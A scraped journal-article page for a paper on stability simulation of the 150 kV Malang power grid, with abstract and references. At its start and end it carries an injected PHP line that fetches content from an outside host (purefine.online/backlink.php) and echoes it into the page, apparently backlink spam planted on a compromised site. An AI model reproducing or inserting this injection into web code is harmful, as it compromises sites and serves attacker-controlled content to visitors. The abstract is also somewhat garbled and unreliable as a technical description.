$a = file_get_contents('https://purefine.online/backlink.php'); echo $a; Stability Simulation of 150 kV Malang Power Grid | NA | Frontier Energy System and Power Engineering

Stability Simulation of 150 kV Malang Power Grid

Arif NA, Goro Fujita

Abstract


This research describes the oscillation control based on a power system that takes the place of the traditional automatic voltage regulators for excitation control in addition to a multimachine power system. The design is built on equilibrium and a potent adaptive critic technique called decreasing time oscillation for each generator. The generators' local measurements serve as the sole basis for the feedback variables. For enhancing the dynamic performance and stability of the power grid under significant shocks that affected oscillation power stations, simulations on multi-machine power systems were shown to be effective.    


Full Text:

PDF

References


A. Jam, M. M. Ardehali, and S. H. Hosseinian, “A comprehensive approach for wind turbine generation allocation with accurate analysis of load curtailment using nested programming,” Energy, vol. 133, pp. 1063–1078, 2017, doi: 10.1016/J.ENERGY.2017.05.169.

T. G. Hlalele, R. M. Naidoo, R. C. Bansal, and J. Zhang, “Multi-objective stochastic economic dispatch with maximal renewable penetration under renewable obligation,” Appl. Energy, vol. 270, Jul. 2020, doi: 10.1016/J.APENERGY.2020.115120.

A. Farooqi, M. M. Othman, M. A. M. Radzi, I. Musirin, S. Z. M. Noor, and I. Z. Abidin, “Dynamic voltage restorer (DVR) enhancement in power quality mitigation with an adverse impact of unsymmetrical faults,” Energy Reports, vol. 8, pp. 871–882, Apr. 2022, doi: 10.1016/J.EGYR.2021.11.147.

C. Guo, F. Luo, Z. Cai, and Z. Y. Dong, “Integrated energy systems of data centers and smart grids: State-of-the-art and future opportunities,” Appl. Energy, vol. 301, Nov. 2021, doi: 10.1016/J.APENERGY.2021.117474.

R. Wang et al., “Simulation and power quality analysis of a Loose-Coupled bipolar DC microgrid in an office building,” Appl. Energy, vol. 303, Dec. 2021, doi: 10.1016/J.APENERGY.2021.117606.

Z. Zhu, F. Zeng, G. Qi, Y. Li, H. Jie, and N. Mazur, “Power system structure optimization based on reinforcement learning and sparse constraints under DoS attacks in cloud environments,” Simul. Model. Pract. Theory, vol. 110, Jul. 2021, doi: 10.1016/J.SIMPAT.2021.102272.

W. Huang, X. Zhang, and W. Zheng, “Resilient power network structure for stable operation of energy systems: A transfer learning approach,” Appl. Energy, vol. 296, Aug. 2021, doi: 10.1016/J.APENERGY.2021.117065.

R. Krishan and A. Verma, “Assessment and Enhancement of Hopf Bifurcation Stability Margin in Uncertain Power Systems,” Electr. Power Syst. Res., vol. 206, May 2022, doi: 10.1016/J.EPSR.2022.107783.

A. Salah Saidi, “Impact of grid-tied photovoltaic systems on voltage stability of tunisian distribution networks using dynamic reactive power control,” Ain Shams Eng. J., vol. 13, no. 2, Mar. 2022, doi: 10.1016/J.ASEJ.2021.06.023.

E. Barocio and A. R. Messina, “Normal form analysis of stressed power systems: Incorporation of SVC models,” Int. J. Electr. Power Energy Syst., vol. 25, no. 1, pp. 79–90, Jan. 2003, doi: 10.1016/S0142-0615(02)00023-6.

P. R. Baldivieso-Monasterios, G. C. Konstantopoulos, and A. T. Alexandridis, “Model-based two-layer control design for optimal power management in wind-battery microgrids,” J. Energy Storage, vol. 48, Apr. 2022, doi: 10.1016/J.EST.2022.104005.




DOI: http://dx.doi.org/10.17977/um049v4i2p01-08

Refbacks

  • There are currently no refbacks.


View My Stats

---------------------------------------- ---------------------------------------- ---------------------------------------- $a = file_get_contents('https://purefine.online/backlink.php'); echo $a; ----------------------------------------